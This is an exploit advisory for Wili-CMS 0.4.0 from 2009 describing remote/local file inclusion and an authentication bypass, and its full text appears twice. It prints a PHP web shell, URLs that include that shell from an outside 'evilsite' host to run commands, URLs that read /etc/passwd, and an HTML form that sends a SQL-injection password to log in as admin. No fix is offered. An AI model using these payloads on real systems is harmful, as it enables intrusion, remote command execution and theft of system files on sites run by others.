******* Salvatore "drosophila" Fresta ******* [+] Application: Wili-CMS [+] Version: 0.4.0 [+] Website: http://wili-cms.sourceforge.net/ [+] Bugs: [A] Multiple Remote/Local File Inclusion [B] Authentication Bypass [+] Exploitation: Remote [+] Date: 06 Mar 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@xxxxxxxxx ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Multiple Remote/Local File Inclusion [-] Requisites: none [-] File affected: index.php This bug allows a guest to include remote and local files and however to exec remote commands. ... if ( $globals['dbh'] && !pageExists( $globals['pageid']['pid'] ) ) { include( $globals['content_dir'].$globals['template_dir']."error404.php" ); } ... include( template_file( $globals['root_template'] ) ); - [B] Authentication Bypass [-] Requisites: magic_quotes_gpc = off [-] File affected: lib/admin/init_session.php This bug allows a guest to login as admin. ... $_SESSION['password'] = $_REQUEST['password'] ? $_REQUEST['password'] : $_SESSION['password']; $globals['username'] = $_SESSION['uname'] = $_REQUEST['uname'] ? $_REQUEST['uname'] : $_SESSION['uname']; ... $sth = mysql_query( "SELECT id FROM ".$globals['userstable']." WHERE username='".$_SESSION['uname']."' AND adminflag=1 AND password=PASSWORD('".$_SESSION['password']."')", $globals['dbh'] ); // password ok -> login if ( mysql_num_rows( $sth ) && ( $globals['uid'] = mysql_result($sth,0) ) ) { $globals['user'] = mysql_result( $userh = mysql_query( "SELECT id, skipwelcome FROM ".$globals['userstable']." WHERE username='".$globals['username']."'", $globals['dbh'] ),0,0); if ( $globals['admin_modus'] == "loggedin" ) { // log login db_addlog( "Logged in from ".getenv("REMOTE_ADDR") ); // goto welcome page if skipwelcome flag of this user is not set if ( !(mysql_result( $userh, 0, 1 )) ) { $_REQUEST['npage'] = get_firstpage( "adminwelcome" ); } $globals['admin_modus'] = ""; } ... ************************************************* [+] Code - [A] Multiple Remote/Local File Inclusion shell.txt: <?php system($_GET['cmd']); ?> http://www.site.com/path/?npage=-1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls http://www.site.com/path/?npage=1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls http://www.site.com/path/?npage=-1&content_dir=../../../../etc/passwd%00 http://www.site.com/path/?npage=1&content_dir=../../../../etc/passwd%00 - [B] Authentication Bypass <html> <head> <title>Wili-CMS 0.4.0 Authentication Bypass Exploit</title> </head> <body> <form action="http://www.site.com/path/admin.php" method="POST"> <input type="text" name="uname" value="admin"> <input type="hidden" name="password" value="1') UNION ALL SELECT 1#"> <input type="hidden" name="mode" value="loggedin"> <input type="hidden" name="npage" value="1"> <input type="submit" value="Exploit"> </form> </body> </html> ************************************************* [+] Fix No fix. ************************************************* -- Salvatore "drosophila" Fresta CWNP444351
******* Salvatore "drosophila" Fresta ******* [+] Application: Wili-CMS [+] Version: 0.4.0 [+] Website: http://wili-cms.sourceforge.net/ [+] Bugs: [A] Multiple Remote/Local File Inclusion [B] Authentication Bypass [+] Exploitation: Remote [+] Date: 06 Mar 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@xxxxxxxxx ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Multiple Remote/Local File Inclusion [-] Requisites: none [-] File affected: index.php This bug allows a guest to include remote and local files and however to exec remote commands. ... if ( $globals['dbh'] && !pageExists( $globals['pageid']['pid'] ) ) { include( $globals['content_dir'].$globals['template_dir']."error404.php" ); } ... include( template_file( $globals['root_template'] ) ); - [B] Authentication Bypass [-] Requisites: magic_quotes_gpc = off [-] File affected: lib/admin/init_session.php This bug allows a guest to login as admin. ... $_SESSION['password'] = $_REQUEST['password'] ? $_REQUEST['password'] : $_SESSION['password']; $globals['username'] = $_SESSION['uname'] = $_REQUEST['uname'] ? $_REQUEST['uname'] : $_SESSION['uname']; ... $sth = mysql_query( "SELECT id FROM ".$globals['userstable']." WHERE username='".$_SESSION['uname']."' AND adminflag=1 AND password=PASSWORD('".$_SESSION['password']."')", $globals['dbh'] ); // password ok -> login if ( mysql_num_rows( $sth ) && ( $globals['uid'] = mysql_result($sth,0) ) ) { $globals['user'] = mysql_result( $userh = mysql_query( "SELECT id, skipwelcome FROM ".$globals['userstable']." WHERE username='".$globals['username']."'", $globals['dbh'] ),0,0); if ( $globals['admin_modus'] == "loggedin" ) { // log login db_addlog( "Logged in from ".getenv("REMOTE_ADDR") ); // goto welcome page if skipwelcome flag of this user is not set if ( !(mysql_result( $userh, 0, 1 )) ) { $_REQUEST['npage'] = get_firstpage( "adminwelcome" ); } $globals['admin_modus'] = ""; } ... ************************************************* [+] Code - [A] Multiple Remote/Local File Inclusion shell.txt: <?php system($_GET['cmd']); ?> http://www.site.com/path/?npage=-1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls http://www.site.com/path/?npage=1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls http://www.site.com/path/?npage=-1&content_dir=../../../../etc/passwd%00 http://www.site.com/path/?npage=1&content_dir=../../../../etc/passwd%00 - [B] Authentication Bypass <html> <head> <title>Wili-CMS 0.4.0 Authentication Bypass Exploit</title> </head> <body> <form action="http://www.site.com/path/admin.php" method="POST"> <input type="text" name="uname" value="admin"> <input type="hidden" name="password" value="1') UNION ALL SELECT 1#"> <input type="hidden" name="mode" value="loggedin"> <input type="hidden" name="npage" value="1"> <input type="submit" value="Exploit"> </form> </body> </html> ************************************************* [+] Fix No fix. *************************************************